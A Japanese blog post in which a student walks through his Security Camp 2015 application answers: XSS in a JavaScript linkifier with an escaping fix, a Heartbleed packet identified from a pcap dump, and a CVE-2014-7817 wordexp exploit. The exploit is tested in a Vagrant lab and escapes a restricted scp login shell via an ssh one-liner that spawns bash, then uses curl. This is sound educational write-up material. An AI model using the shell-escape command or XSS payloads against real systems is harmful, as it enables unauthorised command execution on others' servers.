読者です 読者をやめる 読者になる 読者になる

ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

セキュリティ・キャンプ全国大会2015 僕の応募用紙 後編ヾノ*>ㅅ<)ノシ

katc.hateblo.jp

■選択問題9 

以下のコードは、与えられたテキスト内からURLらしき文字列を探して、それらを<a>要素でリンクにしたHTMLを生成するJavaScriptの関数であるとします。攻撃者が引数 text の中身を自由に制御可能な場合、このコードにはどのような問題点があるか、またこのコードを修正するとすればどのようにすればよいか、自分なりに考察して書いてください。

function makeUrlLinks( text ){ var html = text.replace( /[\w]+:\/\/[\w\.\-]+\/[^\r\n \t<>"']*/g, function( url ){ return "<a href=" + url + ">" + url + "</a>"; } ); document.getElementById( "output" ).innerHTML = html; }

問題点

makeUrlLinksでは、通常の文字列にhtmlコードがあった場合にそのまま表示されてしまいます。問題文は入力文字列の属性を(単なる)"テキスト"と定めているのでhtmlコードがhtml要素として表示される必要性は無いと判断しました。セキュリティ対策をするならば、今回の場合はphpでいうhtmlspecialcharsを適用すれば十分です。

問題点の実証とそれを利用してできてしまうこと

実証コードを http://katc.sakura.ne.jp/seccamp/2015 で公開しています。

パートA XSS

Aではonclick属性またはjavascriptのスキームを利用して任意のjavascriptコードを実行できることを実証しています。これはXSS(Cross Site Scriptiong)攻撃と呼ばれています。XSSができてしまうとcookie(PHPSESSIDなど?)の読み取り・改竄や悪意のあるサイトへの誘導などが可能となります。cookieの方ではセッションの横取り、サイトへの誘導の方では誘導するサイトの例としてアクセスするだけでウイルスに感染するサイトがあります。両方を組み合わせると高度なCSRFクロスサイトリクエストフォージェリ;Cross site request forgeries)が可能です。高度なCSRFCSRFの中で「高度」に分類できる攻撃の意味合いで使っています。今回の脆弱性を利用した高度なCSRFの例として、特定のセッションで進行しているネットショッピングで決済ボタンを押させるようなものや、掲示板で犯罪予告や荒らしを行わせるようなものが挙げられます。

XSSのバリエーション

A-1は本来のリンクの真上に悪意のある透明なa要素(今回は分かりやすいように色付き)を配置し、意図しないクリックを誘発させるものである。かわいい悪意に限ると、amazonの商品ページへのリンクをクリックしたつもりだったのに広告を押したことにできたりする。

A-2はページが読み込まれたときにonerror属性に指定したjavascriptコードが実行されるものである。ユーザの操作が要らないのがポイント?

A-3の攻撃は目に見えた悪意ではあるが、他のリンクの前に割り込んでそれを無効にしつつ、自分のリンクは表示させるというようなことが可能。「他のリンクの前に割り込んでそれを無効に」はコメントアウトさせることで実現した。なんかSQLインジェクションに似ていますね。

パートB iframeインジェクション攻撃

Bではリンクを置き換えさせる仕様のことは一旦忘れて、makeUrlLinksの脆弱性を突くような攻撃をしてみました。XSSに飽きたのでiframe入れて2chを表示してみました(実際に攻撃するときはこんな露骨な表示のさせ方はしない模様←サイズを0px×0pxにする等)。iframeを悪意を持って意図的に表示させる攻撃はiframeインジェクション攻撃と呼ばれるようです。この攻撃を利用した過去の例としてGumblarがあります。

iframeのsrc属性ではhttp(s)スキーム(B-1)やdataスキーム(B-2)が利用できます。

修正編

htmlspecialcharsするとhtmlコードは単なるテキストとしてブラウザがパースしてくれます。htmlsecialcharsの元ネタはphpの関数で、この関数はhtmlコードを片っ端からhtmスケープしてくれます。htmlspecialcharsをコードにすると次のようになります。

function htmlspecialchars(text){
  text = text.replace(/&/g,"&amp;") ;
  text = text.replace(/"/g,"&quot;") ;
  text = text.replace(/'/g,"&#039;") ;
  text = text.replace(/</g,"&lt;") ;
  text = text.replace(/>/g,"&gt;") ;
  return text;
}

php界隈では、htmlspecialcharsは長いので関数hでオーバーラップするのが好まれているのでやってみました。

function h(text) {
  return htmlspecialchars(text);
}

htmlspecialcharsのタイミングはリンクを検出する(html.replace)の前でよいでしょう。

  html_safe = h(text); 
  // aリンクなのでhttpかhttps(場合によってはftpも)を想定すれば十分
  var html = html_safe.replace( /(https?|ftp)?:\/\/[\w\.\-]+\/[^\r\n \t<>"']*/g, function( url ){
    return "<a href=" + url + ">" + url + "</a>";
  } );

makeUrlLinkの正規表現中のスキームのチェックが甘いのでついでに直しました。http(s)スキームは省略可能なので (https?)? とするのもよいです。ftpに上がっているファイルを指す場合もあるかもしれないのでこれを正規表現に含めるのもありだと思います。とにかく、\w+のような甘いチェックは良くないと思います(セキュリティ対策はホワイトリスト方式が基本です←このあたりは専門家でも分かれるらしい)。

結論

makeUrlLinksを次のように変更し、補助関数を追加する。

function htmlspecialchars(text){
  text = text.replace(/&/g,"&amp;") ;
  text = text.replace(/"/g,"&quot;") ;
  text = text.replace(/'/g,"&#039;") ;
  text = text.replace(/</g,"&lt;") ;
  text = text.replace(/>/g,"&gt;") ;
  return text;
}

function h(text) {
  return htmlspecialchars(text);
}

function makeUrlLinks( text ){
  html_safe = h(text); 
  var html = html_safe.replace( /(https?|ftp)?:\/\/[\w\.\-]+\/[^\r\n \t<>"']*/g, function( url ){
    return "<a href=" + url + ">" + url + "</a>";
  } );
 document.getElementById( "output" ).innerHTML = html;
} 

次善策

個人的にはこういう元栓を閉めずにパイプ漏れを直すような解決法は好きではないですが、これらを適用するのも一つの方法です。

onclickなどを無効にする

そのイベントがキャンセル可能である場合、event.preventDefault()でハンドラの実行を阻止できます。onclickがキャンセルできるかは未検証ですが…

https://developer.mozilla.org/ja/docs/Web/API/Event/preventDefault

[任意]cookieにセキュア属性を付ける

直接的な対策ではありません。cookiehttpsでしか利用しないようにする設定です。httpに切り替わったときに丸見えになるのを防ぐことができます。ただし、改変は防げません

http://blog.tokumaru.org/2013/09/cookie-manipulation-is-possible-even-on-ssl.html

iframeに外部ページを読み込ませない

Webサーバ側での対策です。X-Frame-Optionsを利用すると、iframeで表示できるサイトを制限することができます。

https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options

■選択問題11

下記バイナリを解析し、判明した情報を自由に記述してください

D4 C3 B2 A1 02 00 04 00 00 00 00 00 00 00 00 00 00 00 04 00 01 00 00 00 88 EB 40 54 A2 BE 09 00 52 00 00 00 52 00 00 00 22 22 22 22 22 22 11 11 11 11 11 11 08 00 45 00 00 44 1A BD 40 00 80 06 3A 24 C0 A8 92 01 C0 A8 92 80 10 26 01 BB 86 14 7E 80 08 B3 C8 21 50 18 00 FC 0D 0E 00 00 18 03 03 00 17 01 0E FB 06 F6 CD A3 69 DC CA 0B 99 FF 1D 26 09 E1 52 8F 71 77 45 FA

テキストで示されたバイナリ列をバイナリファイル化

stirlingで手打ちで作成しました(ポケモンのROMを弄ったり、大学の某英語教材のセーブデータを解析したりするのに使ったことが思い出される…)

f:id:katc:20150625104245p:plain

asciiテキストらしきものが見当たらないのでウイルスのような実行ファイル系の可能性が低い…?

objdump

深く考えず実行ファイルかなと思ったので適当にネットの記事を参考にobjdumpしてみましたが、これは的外れのようでした。

$ objdump -d 11.hex2 >> 11.s
objdump: 11.hex2: ファイル形式が認識できません
 
$ cp 11.hex2 11.exe

$ objdump -d 11.exe >> 11.s
objdump: 11.exe: ファイル形式が認識できません

fileコマンド

そういえば大学の情報工学実験でテキストフォーマッタを作ったときに、C言語ファイルとテキストファイルを区別する必要がありましたが、そのときにマジックナンバー(ファイルの種類を知らせてくれる(ファイルの先頭の)nバイトのバイトシーケンス)【これは問題を解いた当時の結果オーライな勘違いで、正しくはMagicファイルを根拠としたMIME Type】を調べるようにプログラムしたことを思い出しました(他の班は拡張子で判定する安直な方法をしていたのでげんなり)。僕の班のテキストフォーマッタのプログラムでは内部的にLinuxのfileコマンドを使用したので、今回もその方針でファイルの種類を調べてみました。

ここで一工夫します。fileコマンドはオプション無しでは本来の拡張子はぱっと見ではわかりません。こういう場合はiオプションが便利です。

$ file -i 11.hex2
11.hex2: application/vnd.tcpdump.pcap; charset=binary

結果を見る限り、pcapファイル(pcapはWireSharkのファイルの保存形式の一つ)っぽいことが分かります。

一応マジックナンバーでググてみた

面白がってファイルの先頭の8バイト(マジックナンバー

D4 C3 B2 A1 02 00 04 00

でぐぐってみると、本当にpcapっぽいことが分かりました。

http://blog.macnica.net/blog/2014/06/post-141a.html

WireSharkで開いてみた

TLSv1.2のEncrypted Heartbeatのパケットだけが出てきました。

[f:id:katc:20150625110034p:plain]【←はてなブログのバグ?で出ないんだけど…】

パケットを観察してみた

まず画面を見てぱっと分かる情報を書き出してみます。

Frameの長さ(Frame Length)
82 bytes
Arraival Time(=問題作成日2014年10月17日前後?)
Oct 17, 2014 19:12:24.638626000 東京 (標準時)
宛先MACアドレス
22:22:22:22:22:22
送信元MACアドレス
22:11:11:11:11:11
IP
version 4
宛先IPアドレス:ポート番号
192.168.146.128 : 443 
送信元IPアドレス:ポート番号
192.168.146.1 : 4134
シーケンス番号
1
プロトコル
TLSv1.2
パケットの概要
Heartbeatリクエスト
payload
4 bytys
Payload Length
3835
Expert Info (Error/Malformed): Invalid payload heartbeat length (3835)

Wiresharkを開いて分かるのは、このパケットが警告されているということです。警告されている理由はPayload lengthフィールドの値が実体よりも大きいからのようです(これが意味することは後で考察します)。 現時点で、このパケットについて以下のことが分かります。

  • 2014年10月17日にキャプチャされたパケット
  • ローカルネットワーク(192.168.0.0/16)を流れたパケット
  • MACアドレスが偽装されている
  • TLSのHeartbeatのパケット
  • payloadとその長さのくだりで警告が出ている

もしかしてネタ元はHeartbleedでは?

【Heartbleedの解説なので省略】

Heartbleedと今回のパケットの関連は?

観察でわかったように、payloadの長さの指定がpayload自身よりも長くなっています。また、パケットはTLSプロトコルを使用したHeartbeatリクエストのパケットであるため、Heartbleed脆弱性を突いた攻撃をキャプチャしたものではないかと察することができます。宛先のSSLにその脆弱性がないのかをチェックする行為(もしくは攻撃?)をタイミングよく捉えたのかもしれませんし、ただ問題を作成するためにとりあえず投げたパケットなのかもしれません。

わかったことまとめ

  • pcapファイルのバイナリ列である
  • 本当のpayloadの長さに対してPayload Length値が大きいという異常なパケット
  • Wiresharkはこれを警告していた
    • Heartbleed脆弱性を突く攻撃をするパケットの要件を満たしている
    • その要件とは、Heartbeatリクエストであり、かつ payloadの長さ < Payload Lengthフィールドの値 であること
    • もしかして、このキャプチャされたパケットは(意図的な)Heartbleed脆弱性を突く攻撃のパケット?
  • (この問題は去年の10月頃につくられたっぽい)【本当のところはどうなんだろう?】

■選択問題12

CentOS 6.5 リリース時点のパッケージを使用して構築された CentOS 6 サーバがあります。ユーザ test のログインシェルには、特定のディレクトリ内のファイルを scp を用いてダウンロードできるようにすることを意図した、以下に示すログインシェルが使われています。 このサーバのホスト名を shell.scamp2015.comとし、/etc/ssh/sshd_config の内容がデフォルト設定のままであると仮定して、このログインシェルの脆弱性と、このログインシェルから起動されるプログラムの脆弱性の両方を突いて、書き込み可能なディレクトリ(好きな場所を仮定してよい)の中に任意のファイルをアップロードする手順を、コマンドラインを交えながら解説してください。

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <wordexp.h>

int main(int argc, char *argv[])
{
    int i;
    int err = EINVAL;
    wordexp_t p;
    char *w;
    static char *args[1024] = { };
    if (argc != 3 || strcmp(argv[1], "-c")) {
        fprintf(stderr, "You are not permitted to login.\n");
        return 1;
    }
    w = argv[2];
    if (strncmp(w, "scp -f ", 7) ||
        strspn(w + 7, "abcdefghijklmnopqrstuvwxyz0123456789./+-_$[{()}]=`?*'") != strlen(w + 7) ||
        wordexp(w, &p, WRDE_NOCMD) || p.we_wordc < 3 || p.we_wordc > 1023)
        goto out;
    for (i = 0; i < p.we_wordc; i++) {
        w = p.we_wordv[i];
        if (strncmp(w, "/home/", 6) && strncmp(w, "/var/ftp/", 9) &&
            strncmp(w, "/var/www/html/public/", 21) && i >= 2)
            goto out;
        args[i] = w;
    }
    execv("/usr/bin/scp", args);
    err = errno;
out:
    fprintf(stderr, "%s : %s\n", argv[2], strerror(err));
    return 1;
}

今回利用する脆弱性(方針立て)

CVE-2014-7817を利用します。この脆弱性の内容をRedHatのBugzillaから引用します(https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-7817)。【ソースを見て、最初にWRDE_NOCMDでググったらあっさり出てきました。やったね】

Tim Waugh from Red Hat has reported the below issue:

The wordexp() function will perform command substitution even when explicitly told not to, when expanding "$((`...`))".
...
#include <wordexp.h>
int main (void)
{
  wordexp_t we;
  return wordexp ("$((1`touch /tmp/x`))", &we, WRDE_NOCMD);
}

glibc-2.20-5.fc21.x86_64
...

This can allow a local authenticated attacker to execute arbitrary commands with the credentials of a process calling wordexp() on an attacker-supplied data.

つまり、ログインシェル中のwordexp関数に渡されるw+7(=第2引数の8文字目以降)に $((1`touch /tmp/x`)) のように実行したいコマンドを入れることを目指します。

作戦を練る

完全に任意なコマンドを実行できるというわけではありません。そこはよく考えられている問題で、十数時間苦しめられた箇所です。攻撃を達成するためには、次の壁を 順番に クリアせねばなりません。

  1. 実行する攻撃コマンドはスペースを含んではならない(strspnのacceptはスペースを含まない)
  2. 実行する攻撃コマンドは大文字を含んではならない(strspnのacceptは大文字を含まない)
  3. ログインシェルを正常に終了するなら/home/などを先頭に含まねばならない(大した壁ではない)

よって、最低でも次の制限事項が発生します。

  • 引数を取るコマンドを実行できない(touch, curl, echoなど)
  • システム環境変数を使えない(←$IFSとかダメ)
  • URLなどは含められない

一見突破できないように見えますが、コマンド単体である程度任意の処理を行う方法がシェルスクリプト(*.shファイル)以外に一つあります。シェル(bash)を起動すればよいのです(本当にSSH越しでシェルでもなんでもないようなこのログインシェルから呼ばれるシェルが使えるか不安でしたが、うまくいきました~)。作戦が決まったので検証しました。

攻撃する環境の準備

VagrantCentOS 6.5を起動して、環境を構築しました。

初期設定

お約束の作業

$ vagrant box add centos https://github.com/2creatives/vagrant-centos/releases/download/v6.5.3/centos65-x86_64-20140116.box
==> box: Adding box 'centos' (v0) for provider: 
    box: Downloading: https://github.com/2creatives/vagrant-centos/releases/download/v6.5.3/centos65-x86_64-20140116.box
    box: 
==> box: Successfully added box 'centos' (v0) for 'virtualbox'!
 
$ mkdir centos
 
$ cd centos 
 
$ vagrant init centos
A `Vagrantfile` has been placed in this directory. You are now
ready to `vagrant up` your first virtual environment! Please read
the comments in the Vagrantfile as well as documentation on
`vagrantup.com` for more information on using Vagrant. 

Vagrantファイルに次行を追加

config.vm.network :public_network, ip:"192.168.100.2"

config.vm.network "public_network"をコメントアウト解除(これによりインターネットが使えるようになる)

CentOSを起動

vagrant up

CentOSに接続

vagrant ssh

ログインシェルを変更

ホスト側のファイルはSynced Foldersによって/vagrantにマウントされる(Vagrantのいいところ)

ログインシェルをコンパイルして配置

[vagrant@vagrant-centos65 ~]$ gcc /vagrant/shell.c -o shell
[vagrant@vagrant-centos65 ~]$ sudo mv shell /usr/bin
[vagrant@vagrant-centos65 ~]$ ls /usr/bin|grep shell
git-shell
shell
[vagrant@vagrant-centos65 ~]$ which shell
/usr/bin/shell
[vagrant@vagrant-centos65 ~]$ shell
You are not permitted to login.

新しいユーザーtestを作成

sudo useradd test

testのログインシェルを変更

[vagrant@vagrant-centos65 ~]$ cat /etc/shells
/bin/sh
/bin/bash
/sbin/nologin
/bin/dash
/usr/bin/shell
[vagrant@vagrant-centos65 ~]$ sudo chsh test
Changing shell for test.
New shell [/usr/bin/shell]: /usr/bin/shell
Shell not changed.

not changedと出たのはpassedファイルを先に変更したからかもしれない

/etc/shellsの変更

[vagrant@vagrant-centos65 ~]$ cat /etc/shells
/bin/sh
/bin/bash
/sbin/nologin
/bin/dash
/usr/bin/shell

testのパスワードをtestにする

[vagrant@vagrant-centos65 ~]$ sudo passwd test
Changing password for user test.
New password: 
BAD PASSWORD: it is too short
BAD PASSWORD: is too simple
Retype new password: 
Sorry, passwords do not match.
New password: 
BAD PASSWORD: it is too short
BAD PASSWORD: is too simple
Retype new password: 
passwd: all authentication tokens updated successfully.

testでログインしてみる

$ ssh -y test@localhost -p 2222
test@localhost's password: 
You are not permitted to login.
Connection to localhost closed.

例のshellがログインシェルとして動いている!

(参考)glibcのバージョン

2.12-1系では、CVE-2014-7817に対応したのは2.12-1.149.1 以降なので132なら攻撃できそうです(ftp://rpmfind.net/linux/RPM/centos/updates/6.6/x86_64/Packages/glibc-common-2.12-1.149.el6_6.4.x86_64.html)

[vagrant@vagrant-centos65 ~]$ yum list installed | grep glibc
glibc.x86_64           2.12-1.132.el6   @anaconda-CentOS-201311272149.x86_64/6.5
glibc-common.x86_64    2.12-1.132.el6   @anaconda-CentOS-201311272149.x86_64/6.5
glibc-devel.x86_64     2.12-1.132.el6   @base/6.5                               
glibc-headers.x86_64   2.12-1.132.el6   @base/6.5     

実際に攻撃してみた

攻撃その1:echoを用いたアップロード

攻撃側

$ ssh -y test@localhost -p 2222 'scp -f /home/$((1`bash`))'
test@localhost's password: 
echo "I attacked your system successfully" > /tmp/attacked
exit
exit

サーバー側

[vagrant@vagrant-centos65 ~]$ ls /tmp
attacked
[vagrant@vagrant-centos65 ~]$ cat /tmp/attacked
I attacked your system successfully

攻撃その2:curlを用いたアップロード

攻撃側

$ ssh -y test@localhost -p 2222 'scp -f /home/$((1`bash`))'
test@localhost's password: 
 curl -o mondai.txt http://www.ipa.go.jp/files/000045804.txt
exit
exit

サーバー側

[vagrant@vagrant-centos65 ~]$ sudo ls /home/test -l
total 20
-rw-r--r-- 1 test test 20231 Jun 18 17:05 mondai.txt
[vagrant@vagrant-centos65 ~]$ date
Thu Jun 18 17:06:24 UTC 2015
[vagrant@vagrant-centos65 ~]$ cat /home/test/mondai.txt|head -n 13
cat: /home/test/mondai.txt: Permission denied
[vagrant@vagrant-centos65 ~]$ sudo cat /home/test/mondai.txt|head -n 13
セキュリティ・キャンプ全国大会2015 応募用紙
 
 
氏名:
(ふりがな):
電話番号(昼間に連絡できる電話番号):
E-mailアドレス(必ず書いてください):
所 属(学校・学科・学年):
年齢(応募現在):(  )才
 (※2016年3月31日時点において22歳以下の学生・生徒であることが応募条件です)
Twitterアカウント(ある場合のみ):
ホームページまたはブログのURL(ある場合のみ):

実験結果

攻撃成功(‘ω’)✌

【回答】攻撃手順

接続するときは次のコマンドを実行する。

ssh -y test@shell.scamp2015.com 'scp -f /home/$((1`bash`))'

(パスワードを入力して)ログインが成功すると、ログインシェルの後にbashが起動する(ただし特にバーナーなどがない黒い画面のまま)ので、ファイルが作成されるようなコマンドを実行する。次のコマンドはその例(この場合アップロード先はtestのホームディレクトリ)。

curl -o mondai.txt http://www.ipa.go.jp/files/000045804.txt

あとはひらすらexitしてプロセス群をキルして完了(別に^Cしてもいいはず)

まとめ

  • 利用する脆弱性はCVE-2014-7817
    • ただしstrspnによって、任意に実行できるコマンドはスペースや大文字などを含まないものに限られる
  • つまり、ログインシェルの第二引数だけでは攻撃は完結しない
    • 幸いssh越しでbashを起動できる
    • bash上でアップロード作業をする

解いてみての感想と他の人の Write Up を読んでみての感想

僕の応募用紙は一週間クオリティです。6万字書いた方もいるそうで、すごいですね。

もし問題9の関数がリンクを見つけてa要素で囲って、その結果をreturnする関数だったら、htmlspecialcharsするのは不正解ですね(呼び出し元でそれをしている可能性が高いので)。 この場合、問題の難易度が爆上がりしそうです。

問題12を解いた人がこのエントリを書いた時点で見つかりませんでした(解いた方お待ちしてますよ(´へωへ`*))。 bashを起動させるという発想が斜め上過ぎません?

Tanakaxaさんは後悔してらっしゃいますが、徳丸本から学んだHTTPヘッダ・インジェクションの攻撃用のリンクを作るアイデアは個人的に好きです。僕はそれを持っていながら応募のために一度も開きませんでしたし。

僕の拙文が来年応募される方々の参考になれば幸いです。


業務連絡:Tanakaxaさん、載せていいですよ。(HNはK_atc